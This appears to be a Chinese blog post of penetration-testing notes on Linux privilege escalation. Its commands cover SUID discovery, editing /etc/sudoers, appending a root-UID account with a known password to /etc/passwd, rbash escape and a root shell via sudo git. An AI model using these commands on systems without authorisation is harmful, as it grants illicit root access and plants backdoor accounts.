Linux内网提权

一、SUID提权

前提条件:

(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效

1、设置SUID权限: root权限

chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置

2、 收集具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null

SUID提权 - hello_bao - 博客园 (cnblogs.com)

二、sudoers提权

前提条件:/etc/sudoers 如果为当前权限可更改,则可进行写入普通用户sudo权限

bash 复制代码
chmod 777 /etc/sudoers
bash 复制代码
# User privilege specification

root    ALL=(ALL:ALL) ALL

#在这添加new_user的sudo 权限

new_user     ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command

%sudo   ALL=(ALL:ALL) ALL

修改完将sudoers权限修改回去

bash 复制代码
chmod 440 /etc/sudoers

普通用户可进行sudo 执行root权限命令

bash 复制代码
sudo systemctl start ssh

三、重要软件或文件配置不当提权

nps提权

当nfs配置了读写权限且允许客户端以root访问时,就会存在该漏洞

passwd提权

如果当前用户有修改/etc/passwd的权限则可以添加一个root权限用户:

echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

账号:test 密码:password@123

四、 rbash 逃逸

前提条件:当前用户shell为普通用户且有可以利用的命令

确定在rbash权限下:echo $PATH

确定可以使用的命令:compgen -c

【渗透测试】--- rbash逃逸方法简述-CSDN博客

五、git提权

前提条件:当前用户可以使用sudo中git权限

查看sudo -l 如果 有 (root) NOPASSWD: /usr/bin/git 则可以提权

以下两种二选一:

bash 复制代码
sudo git help config #在末行命令模式输入

!/bin/bash 或 !'sh' #完成提权



sudo git -p help

!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
相关推荐
SelectDB11 小时前
Litefuse 开源并推出单进程轻量模式,25 秒就能跑起来的 Agent 可观测与评估平台
运维·后端·自动化运维
AlfredZhao12 小时前
Docker 容器时区不对,`timedatectl` 不存在怎么办?
linux·timezone
Elasticsearch2 天前
3个信号、2个环境变量、0个采集器:使用 Python 和 Elastic 的托管 OTLP 端点实现 OpenTelemetry
elasticsearch
zzzzzz3102 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode2 天前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220703 天前
如何搭建本地yum源(上)
运维
A小辣椒4 天前
TShark:Wireshark CLI 功能
linux
Elasticsearch4 天前
如何通过 Claude Code 来写入 CSV 数据到 Elasticsearch
elasticsearch
A小辣椒4 天前
TShark:基础知识
linux